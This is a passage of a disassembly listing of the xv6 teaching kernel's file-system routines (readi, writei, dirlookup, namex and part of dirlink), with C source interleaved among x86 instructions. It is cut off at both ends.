%ebx,%eax 801019aa: e8 a1 f9 ff ff call 80101350 <bmap> 801019af: 83 ec 08 sub $0x8,%esp 801019b2: 50 push %eax 801019b3: ff 33 pushl (%ebx) m = min(n - tot, BSIZE - off%BSIZE); 801019b5: bb 00 02 00 00 mov $0x200,%ebx return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019ba: e8 11 e7 ff ff call 801000d0 <bread> 801019bf: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019c1: 8b 45 e4 mov -0x1c(%ebp),%eax 801019c4: 89 f1 mov %esi,%ecx 801019c6: 81 e1 ff 01 00 00 and $0x1ff,%ecx 801019cc: 83 c4 0c add $0xc,%esp memmove(dst, bp->data + off%BSIZE, m); 801019cf: 89 55 dc mov %edx,-0x24(%ebp) if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 801019d2: 29 cb sub %ecx,%ebx 801019d4: 29 f8 sub %edi,%eax 801019d6: 39 c3 cmp %eax,%ebx 801019d8: 0f 47 d8 cmova %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019db: 8d 44 0a 5c lea 0x5c(%edx,%ecx,1),%eax 801019df: 53 push %ebx if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019e0: 01 df add %ebx,%edi 801019e2: 01 de add %ebx,%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); 801019e4: 50 push %eax 801019e5: ff 75 e0 pushl -0x20(%ebp) 801019e8: e8 53 2e 00 00 call 80104840 <memmove> brelse(bp); 801019ed: 8b 55 dc mov -0x24(%ebp),%edx 801019f0: 89 14 24 mov %edx,(%esp) 801019f3: e8 e8 e7 ff ff call 801001e0 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019f8: 01 5d e0 add %ebx,-0x20(%ebp) 801019fb: 83 c4 10 add $0x10,%esp 801019fe: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a01: 77 9d ja 801019a0 <readi+0x60> bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; 80101a03: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a06: 8d 65 f4 lea -0xc(%ebp),%esp 80101a09: 5b pop %ebx 80101a0a: 5e pop %esi 80101a0b: 5f pop %edi 80101a0c: 5d pop %ebp 80101a0d: c3 ret 80101a0e: 66 90 xchg %ax,%ax { uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a10: 0f bf 40 52 movswl 0x52(%eax),%eax 80101a14: 66 83 f8 09 cmp $0x9,%ax 80101a18: 77 1e ja 80101a38 <readi+0xf8> 80101a1a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a21: 85 c0 test %eax,%eax 80101a23: 74 13 je 80101a38 <readi+0xf8> return -1; return devsw[ip->major].read(ip, dst, n); 80101a25: 89 7d 10 mov %edi,0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; } 80101a28: 8d 65 f4 lea -0xc(%ebp),%esp 80101a2b: 5b pop %ebx 80101a2c: 5e pop %esi 80101a2d: 5f pop %edi 80101a2e: 5d pop %ebp struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); 80101a2f: ff e0 jmp *%eax 80101a31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; 80101a38: b8 ff ff ff ff mov $0xffffffff,%eax 80101a3d: eb c7 jmp 80101a06 <readi+0xc6> 80101a3f: 90 nop 80101a40 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a40: 55 push %ebp 80101a41: 89 e5 mov %esp,%ebp 80101a43: 57 push %edi 80101a44: 56 push %esi 80101a45: 53 push %ebx 80101a46: 83 ec 1c sub $0x1c,%esp 80101a49: 8b 45 08 mov 0x8(%ebp),%eax 80101a4c: 8b 75 0c mov 0xc(%ebp),%esi 80101a4f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a52: 66 83 78 50 03 cmpw $0x3,0x50(%eax) // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a57: 89 75 dc mov %esi,-0x24(%ebp) 80101a5a: 89 45 d8 mov %eax,-0x28(%ebp) 80101a5d: 8b 75 10 mov 0x10(%ebp),%esi 80101a60: 89 7d e0 mov %edi,-0x20(%ebp) uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a63: 0f 84 b7 00 00 00 je 80101b20 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a69: 8b 45 d8 mov -0x28(%ebp),%eax 80101a6c: 39 70 58 cmp %esi,0x58(%eax) 80101a6f: 0f 82 eb 00 00 00 jb 80101b60 <writei+0x120> 80101a75: 8b 7d e0 mov -0x20(%ebp),%edi 80101a78: 89 f8 mov %edi,%eax 80101a7a: 01 f0 add %esi,%eax return -1; if(off + n > MAXFILE*BSIZE) 80101a7c: 3d 00 18 01 00 cmp $0x11800,%eax 80101a81: 0f 87 d9 00 00 00 ja 80101b60 <writei+0x120> 80101a87: 39 c6 cmp %eax,%esi 80101a89: 0f 87 d1 00 00 00 ja 80101b60 <writei+0x120> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101a8f: 85 ff test %edi,%edi 80101a91: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101a98: 74 78 je 80101b12 <writei+0xd2> 80101a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101aa0: 8b 7d d8 mov -0x28(%ebp),%edi 80101aa3: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101aa5: bb 00 02 00 00 mov $0x200,%ebx return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101aaa: c1 ea 09 shr $0x9,%edx 80101aad: 89 f8 mov %edi,%eax 80101aaf: e8 9c f8 ff ff call 80101350 <bmap> 80101ab4: 83 ec 08 sub $0x8,%esp 80101ab7: 50 push %eax 80101ab8: ff 37 pushl (%edi) 80101aba: e8 11 e6 ff ff call 801000d0 <bread> 80101abf: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ac1: 8b 45 e0 mov -0x20(%ebp),%eax 80101ac4: 2b 45 e4 sub -0x1c(%ebp),%eax 80101ac7: 89 f1 mov %esi,%ecx 80101ac9: 83 c4 0c add $0xc,%esp 80101acc: 81 e1 ff 01 00 00 and $0x1ff,%ecx 80101ad2: 29 cb sub %ecx,%ebx 80101ad4: 39 c3 cmp %eax,%ebx 80101ad6: 0f 47 d8 cmova %eax,%ebx memmove(bp->data + off%BSIZE, src, m); 80101ad9: 8d 44 0f 5c lea 0x5c(%edi,%ecx,1),%eax 80101add: 53 push %ebx 80101ade: ff 75 dc pushl -0x24(%ebp) if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101ae1: 01 de add %ebx,%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(bp->data + off%BSIZE, src, m); 80101ae3: 50 push %eax 80101ae4: e8 57 2d 00 00 call 80104840 <memmove> log_write(bp); 80101ae9: 89 3c 24 mov %edi,(%esp) 80101aec: e8 2f 12 00 00 call 80102d20 <log_write> brelse(bp); 80101af1: 89 3c 24 mov %edi,(%esp) 80101af4: e8 e7 e6 ff ff call 801001e0 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101af9: 01 5d e4 add %ebx,-0x1c(%ebp) 80101afc: 01 5d dc add %ebx,-0x24(%ebp) 80101aff: 83 c4 10 add $0x10,%esp 80101b02: 8b 55 e4 mov -0x1c(%ebp),%edx 80101b05: 39 55 e0 cmp %edx,-0x20(%ebp) 80101b08: 77 96 ja 80101aa0 <writei+0x60> memmove(bp->data + off%BSIZE, src, m); log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ 80101b0a: 8b 45 d8 mov -0x28(%ebp),%eax 80101b0d: 3b 70 58 cmp 0x58(%eax),%esi 80101b10: 77 36 ja 80101b48 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b12: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b15: 8d 65 f4 lea -0xc(%ebp),%esp 80101b18: 5b pop %ebx 80101b19: 5e pop %esi 80101b1a: 5f pop %edi 80101b1b: 5d pop %ebp 80101b1c: c3 ret 80101b1d: 8d 76 00 lea 0x0(%esi),%esi { uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b20: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b24: 66 83 f8 09 cmp $0x9,%ax 80101b28: 77 36 ja 80101b60 <writei+0x120> 80101b2a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b31: 85 c0 test %eax,%eax 80101b33: 74 2b je 80101b60 <writei+0x120> return -1; return devsw[ip->major].write(ip, src, n); 80101b35: 89 7d 10 mov %edi,0x10(%ebp) if(n > 0 && off > ip->size){ ip->size = off; iupdate(ip); } return n; } 80101b38: 8d 65 f4 lea -0xc(%ebp),%esp 80101b3b: 5b pop %ebx 80101b3c: 5e pop %esi 80101b3d: 5f pop %edi 80101b3e: 5d pop %ebp struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); 80101b3f: ff e0 jmp *%eax 80101b41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ ip->size = off; 80101b48: 8b 45 d8 mov -0x28(%ebp),%eax iupdate(ip); 80101b4b: 83 ec 0c sub $0xc,%esp log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ ip->size = off; 80101b4e: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b51: 50 push %eax 80101b52: e8 59 fa ff ff call 801015b0 <iupdate> 80101b57: 83 c4 10 add $0x10,%esp 80101b5a: eb b6 jmp 80101b12 <writei+0xd2> 80101b5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; 80101b60: b8 ff ff ff ff mov $0xffffffff,%eax 80101b65: eb ae jmp 80101b15 <writei+0xd5> 80101b67: 89 f6 mov %esi,%esi 80101b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b70 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b70: 55 push %ebp 80101b71: 89 e5 mov %esp,%ebp 80101b73: 83 ec 0c sub $0xc,%esp return strncmp(s, t, DIRSIZ); 80101b76: 6a 0e push $0xe 80101b78: ff 75 0c pushl 0xc(%ebp) 80101b7b: ff 75 08 pushl 0x8(%ebp) 80101b7e: e8 3d 2d 00 00 call 801048c0 <strncmp> } 80101b83: c9 leave 80101b84: c3 ret 80101b85: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b90 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101b90: 55 push %ebp 80101b91: 89 e5 mov %esp,%ebp 80101b93: 57 push %edi 80101b94: 56 push %esi 80101b95: 53 push %ebx 80101b96: 83 ec 1c sub $0x1c,%esp 80101b99: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101b9c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101ba1: 0f 85 80 00 00 00 jne 80101c27 <dirlookup+0x97> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101ba7: 8b 53 58 mov 0x58(%ebx),%edx 80101baa: 31 ff xor %edi,%edi 80101bac: 8d 75 d8 lea -0x28(%ebp),%esi 80101baf: 85 d2 test %edx,%edx 80101bb1: 75 0d jne 80101bc0 <dirlookup+0x30> 80101bb3: eb 5b jmp 80101c10 <dirlookup+0x80> 80101bb5: 8d 76 00 lea 0x0(%esi),%esi 80101bb8: 83 c7 10 add $0x10,%edi 80101bbb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bbe: 76 50 jbe 80101c10 <dirlookup+0x80> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bc0: 6a 10 push $0x10 80101bc2: 57 push %edi 80101bc3: 56 push %esi 80101bc4: 53 push %ebx 80101bc5: e8 76 fd ff ff call 80101940 <readi> 80101bca: 83 c4 10 add $0x10,%esp 80101bcd: 83 f8 10 cmp $0x10,%eax 80101bd0: 75 48 jne 80101c1a <dirlookup+0x8a> panic("dirlookup read"); if(de.inum == 0) 80101bd2: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101bd7: 74 df je 80101bb8 <dirlookup+0x28> // Directories int namecmp(const char *s, const char *t) { return strncmp(s, t, DIRSIZ); 80101bd9: 8d 45 da lea -0x26(%ebp),%eax 80101bdc: 83 ec 04 sub $0x4,%esp 80101bdf: 6a 0e push $0xe 80101be1: 50 push %eax 80101be2: ff 75 0c pushl 0xc(%ebp) 80101be5: e8 d6 2c 00 00 call 801048c0 <strncmp> for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlookup read"); if(de.inum == 0) continue; if(namecmp(name, de.name) == 0){ 80101bea: 83 c4 10 add $0x10,%esp 80101bed: 85 c0 test %eax,%eax 80101bef: 75 c7 jne 80101bb8 <dirlookup+0x28> // entry matches path element if(poff) 80101bf1: 8b 45 10 mov 0x10(%ebp),%eax 80101bf4: 85 c0 test %eax,%eax 80101bf6: 74 05 je 80101bfd <dirlookup+0x6d> *poff = off; 80101bf8: 8b 45 10 mov 0x10(%ebp),%eax 80101bfb: 89 38 mov %edi,(%eax) inum = de.inum; return iget(dp->dev, inum); 80101bfd: 0f b7 55 d8 movzwl -0x28(%ebp),%edx 80101c01: 8b 03 mov (%ebx),%eax 80101c03: e8 78 f6 ff ff call 80101280 <iget> } } return 0; } 80101c08: 8d 65 f4 lea -0xc(%ebp),%esp 80101c0b: 5b pop %ebx 80101c0c: 5e pop %esi 80101c0d: 5f pop %edi 80101c0e: 5d pop %ebp 80101c0f: c3 ret 80101c10: 8d 65 f4 lea -0xc(%ebp),%esp inum = de.inum; return iget(dp->dev, inum); } } return 0; 80101c13: 31 c0 xor %eax,%eax } 80101c15: 5b pop %ebx 80101c16: 5e pop %esi 80101c17: 5f pop %edi 80101c18: 5d pop %ebp 80101c19: c3 ret if(dp->type != T_DIR) panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlookup read"); 80101c1a: 83 ec 0c sub $0xc,%esp 80101c1d: 68 79 74 10 80 push $0x80107479 80101c22: e8 49 e7 ff ff call 80100370 <panic> { uint off, inum; struct dirent de; if(dp->type != T_DIR) panic("dirlookup not DIR"); 80101c27: 83 ec 0c sub $0xc,%esp 80101c2a: 68 67 74 10 80 push $0x80107467 80101c2f: e8 3c e7 ff ff call 80100370 <panic> 80101c34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101c40 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c40: 55 push %ebp 80101c41: 89 e5 mov %esp,%ebp 80101c43: 57 push %edi 80101c44: 56 push %esi 80101c45: 53 push %ebx 80101c46: 89 cf mov %ecx,%edi 80101c48: 89 c3 mov %eax,%ebx 80101c4a: 83 ec 1c sub $0x1c,%esp struct inode *ip, *next; if(*path == '/') 80101c4d: 80 38 2f cmpb $0x2f,(%eax) // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c50: 89 55 e0 mov %edx,-0x20(%ebp) struct inode *ip, *next; if(*path == '/') 80101c53: 0f 84 53 01 00 00 je 80101dac <namex+0x16c> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c59: e8 52 1b 00 00 call 801037b0 <myproc> // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { acquire(&icache.lock); 80101c5e: 83 ec 0c sub $0xc,%esp struct inode *ip, *next; if(*path == '/') ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c61: 8b 70 68 mov 0x68(%eax),%esi // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { acquire(&icache.lock); 80101c64: 68 e0 09 11 80 push $0x801109e0 80101c69: e8 22 2a 00 00 call 80104690 <acquire> ip->ref++; 80101c6e: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101c72: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c79: e8 c2 2a 00 00 call 80104740 <release> 80101c7e: 83 c4 10 add $0x10,%esp 80101c81: eb 08 jmp 80101c8b <namex+0x4b> 80101c83: 90 nop 80101c84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { char *s; int len; while(*path == '/') path++; 80101c88: 83 c3 01 add $0x1,%ebx skipelem(char *path, char *name) { char *s; int len; while(*path == '/') 80101c8b: 0f b6 03 movzbl (%ebx),%eax 80101c8e: 3c 2f cmp $0x2f,%al 80101c90: 74 f6 je 80101c88 <namex+0x48> path++; if(*path == 0) 80101c92: 84 c0 test %al,%al 80101c94: 0f 84 e3 00 00 00 je 80101d7d <namex+0x13d> return 0; s = path; while(*path != '/' && *path != 0) 80101c9a: 0f b6 03 movzbl (%ebx),%eax 80101c9d: 89 da mov %ebx,%edx 80101c9f: 84 c0 test %al,%al 80101ca1: 0f 84 ac 00 00 00 je 80101d53 <namex+0x113> 80101ca7: 3c 2f cmp $0x2f,%al 80101ca9: 75 09 jne 80101cb4 <namex+0x74> 80101cab: e9 a3 00 00 00 jmp 80101d53 <namex+0x113> 80101cb0: 84 c0 test %al,%al 80101cb2: 74 0a je 80101cbe <namex+0x7e> path++; 80101cb4: 83 c2 01 add $0x1,%edx while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80101cb7: 0f b6 02 movzbl (%edx),%eax 80101cba: 3c 2f cmp $0x2f,%al 80101cbc: 75 f2 jne 80101cb0 <namex+0x70> 80101cbe: 89 d1 mov %edx,%ecx 80101cc0: 29 d9 sub %ebx,%ecx path++; len = path - s; if(len >= DIRSIZ) 80101cc2: 83 f9 0d cmp $0xd,%ecx 80101cc5: 0f 8e 8d 00 00 00 jle 80101d58 <namex+0x118> memmove(name, s, DIRSIZ); 80101ccb: 83 ec 04 sub $0x4,%esp 80101cce: 89 55 e4 mov %edx,-0x1c(%ebp) 80101cd1: 6a 0e push $0xe 80101cd3: 53 push %ebx 80101cd4: 57 push %edi 80101cd5: e8 66 2b 00 00 call 80104840 <memmove> path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) path++; 80101cda: 8b 55 e4 mov -0x1c(%ebp),%edx len = path - s; if(len >= DIRSIZ) memmove(name, s, DIRSIZ); 80101cdd: 83 c4 10 add $0x10,%esp path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) path++; 80101ce0: 89 d3 mov %edx,%ebx memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80101ce2: 80 3a 2f cmpb $0x2f,(%edx) 80101ce5: 75 11 jne 80101cf8 <namex+0xb8> 80101ce7: 89 f6 mov %esi,%esi 80101ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi path++; 80101cf0: 83 c3 01 add $0x1,%ebx memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80101cf3: 80 3b 2f cmpb $0x2f,(%ebx) 80101cf6: 74 f8 je 80101cf0 <namex+0xb0> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); while((path = skipelem(path, name)) != 0){ ilock(ip); 80101cf8: 83 ec 0c sub $0xc,%esp 80101cfb: 56 push %esi 80101cfc: e8 5f f9 ff ff call 80101660 <ilock> if(ip->type != T_DIR){ 80101d01: 83 c4 10 add $0x10,%esp 80101d04: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d09: 0f 85 7f 00 00 00 jne 80101d8e <namex+0x14e> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d0f: 8b 55 e0 mov -0x20(%ebp),%edx 80101d12: 85 d2 test %edx,%edx 80101d14: 74 09 je 80101d1f <namex+0xdf> 80101d16: 80 3b 00 cmpb $0x0,(%ebx) 80101d19: 0f 84 a3 00 00 00 je 80101dc2 <namex+0x182> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d1f: 83 ec 04 sub $0x4,%esp 80101d22: 6a 00 push $0x0 80101d24: 57 push %edi 80101d25: 56 push %esi 80101d26: e8 65 fe ff ff call 80101b90 <dirlookup> 80101d2b: 83 c4 10 add $0x10,%esp 80101d2e: 85 c0 test %eax,%eax 80101d30: 74 5c je 80101d8e <namex+0x14e> // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); 80101d32: 83 ec 0c sub $0xc,%esp 80101d35: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d38: 56 push %esi 80101d39: e8 02 fa ff ff call 80101740 <iunlock> iput(ip); 80101d3e: 89 34 24 mov %esi,(%esp) 80101d41: e8 4a fa ff ff call 80101790 <iput> 80101d46: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d49: 83 c4 10 add $0x10,%esp 80101d4c: 89 c6 mov %eax,%esi 80101d4e: e9 38 ff ff ff jmp 80101c8b <namex+0x4b> while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80101d53: 31 c9 xor %ecx,%ecx 80101d55: 8d 76 00 lea 0x0(%esi),%esi path++; len = path - s; if(len >= DIRSIZ) memmove(name, s, DIRSIZ); else { memmove(name, s, len); 80101d58: 83 ec 04 sub $0x4,%esp 80101d5b: 89 55 dc mov %edx,-0x24(%ebp) 80101d5e: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d61: 51 push %ecx 80101d62: 53 push %ebx 80101d63: 57 push %edi 80101d64: e8 d7 2a 00 00 call 80104840 <memmove> name[len] = 0; 80101d69: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101d6c: 8b 55 dc mov -0x24(%ebp),%edx 80101d6f: 83 c4 10 add $0x10,%esp 80101d72: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101d76: 89 d3 mov %edx,%ebx 80101d78: e9 65 ff ff ff jmp 80101ce2 <namex+0xa2> return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101d7d: 8b 45 e0 mov -0x20(%ebp),%eax 80101d80: 85 c0 test %eax,%eax 80101d82: 75 54 jne 80101dd8 <namex+0x198> 80101d84: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101d86: 8d 65 f4 lea -0xc(%ebp),%esp 80101d89: 5b pop %ebx 80101d8a: 5e pop %esi 80101d8b: 5f pop %edi 80101d8c: 5d pop %ebp 80101d8d: c3 ret // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); 80101d8e: 83 ec 0c sub $0xc,%esp 80101d91: 56 push %esi 80101d92: e8 a9 f9 ff ff call 80101740 <iunlock> iput(ip); 80101d97: 89 34 24 mov %esi,(%esp) 80101d9a: e8 f1 f9 ff ff call 80101790 <iput> iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ iunlockput(ip); return 0; 80101d9f: 83 c4 10 add $0x10,%esp if(nameiparent){ iput(ip); return 0; } return ip; } 80101da2: 8d 65 f4 lea -0xc(%ebp),%esp iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ iunlockput(ip); return 0; 80101da5: 31 c0 xor %eax,%eax if(nameiparent){ iput(ip); return 0; } return ip; } 80101da7: 5b pop %ebx 80101da8: 5e pop %esi 80101da9: 5f pop %edi 80101daa: 5d pop %ebp 80101dab: c3 ret namex(char *path, int nameiparent, char *name) { struct inode *ip, *next; if(*path == '/') ip = iget(ROOTDEV, ROOTINO); 80101dac: ba 01 00 00 00 mov $0x1,%edx 80101db1: b8 01 00 00 00 mov $0x1,%eax 80101db6: e8 c5 f4 ff ff call 80101280 <iget> 80101dbb: 89 c6 mov %eax,%esi 80101dbd: e9 c9 fe ff ff jmp 80101c8b <namex+0x4b> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ // Stop one level early. iunlock(ip); 80101dc2: 83 ec 0c sub $0xc,%esp 80101dc5: 56 push %esi 80101dc6: e8 75 f9 ff ff call 80101740 <iunlock> return ip; 80101dcb: 83 c4 10 add $0x10,%esp if(nameiparent){ iput(ip); return 0; } return ip; } 80101dce: 8d 65 f4 lea -0xc(%ebp),%esp return 0; } if(nameiparent && *path == '\0'){ // Stop one level early. iunlock(ip); return ip; 80101dd1: 89 f0 mov %esi,%eax if(nameiparent){ iput(ip); return 0; } return ip; } 80101dd3: 5b pop %ebx 80101dd4: 5e pop %esi 80101dd5: 5f pop %edi 80101dd6: 5d pop %ebp 80101dd7: c3 ret } iunlockput(ip); ip = next; } if(nameiparent){ iput(ip); 80101dd8: 83 ec 0c sub $0xc,%esp 80101ddb: 56 push %esi 80101ddc: e8 af f9 ff ff call 80101790 <iput> return 0; 80101de1: 83 c4 10 add $0x10,%esp 80101de4: 31 c0 xor %eax,%eax 80101de6: eb 9e jmp 80101d86 <namex+0x146> 80101de8: 90 nop 80101de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101df0 <dirlink>: } // Write a new directory entry (name, inum) into the directory dp. int dirlink(struct inode *dp, char *name, uint inum) { 80101df0: 55 push %ebp 80101df1: 89 e5 mov %esp,%ebp 80101df3: 57 push %edi 80101df4: 56 push %esi 80101df5: 53 push %ebx 80101df6: 83 ec 20 sub $0x20,%esp 80101df9: 8b 5d 08 mov 0x8(%ebp),%ebx int off; struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ 80101dfc: 6a 00 push $0x0 80101dfe: ff 75 0c pushl 0xc(%ebp) 80101e01: 53 push %ebx 80101e02: e8 89 fd ff ff call 80101b90 <dirlookup> 80101e07: 83 c4 10 add $0x10,%esp 80101e0a: 85 c0 test %eax,%eax 80101e0c: 75 67 jne 80101e75 <dirlink+0x85> iput(ip); return -1; } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 80101e0e: 8b 7b 58 mov 0x58(%ebx),%edi 80101e11: 8d 75 d8 lea -0x28(%ebp),%esi 80101e14: 85 ff test %edi,%edi 80101e16: 74 29 je 80101e41 <dirlink+0x51> 80101e18: 31 ff xor %edi,%edi 80101e1a: 8d 75 d8 lea -0x28(%ebp),%esi 80101e1d: eb 09 jmp 80101e28 <dirlink+0x38> 80101e1f: 90 nop 80101e20: 83 c7 10 add $0x10,%edi 80101e23: 39 7b 58 cmp %edi,0x58(%ebx) 80101e26: 76 19 jbe 80101e41 <dirlink+0x51> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e28: 6a 10 push $0x10 80101e2a: 57 push %edi 80101e2b: 56 push %esi 80101e2c: 53 push %ebx 80101e2d: e8 0e fb ff ff call 80101940 <readi> 80101e32: 83 c4 10 add $0x10,%esp 80101e35: 83 f8 10 cmp $0x10,%eax 80101e38: 75 4e jne 80101e88 <dirlink+0x98> panic("dirlink read"); if(de.inum == 0) 80101e3a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e3f: 75 df jne 80101e20 <dirlink+0x30> break; } strncpy(de.name, name, DIRSIZ); 80101e41: 8d 45 da lea -0x26(%ebp),%eax 80101e44: 83 ec 04 sub $0x4,%esp 80101e47: 6a 0e push $0xe 80101e49: 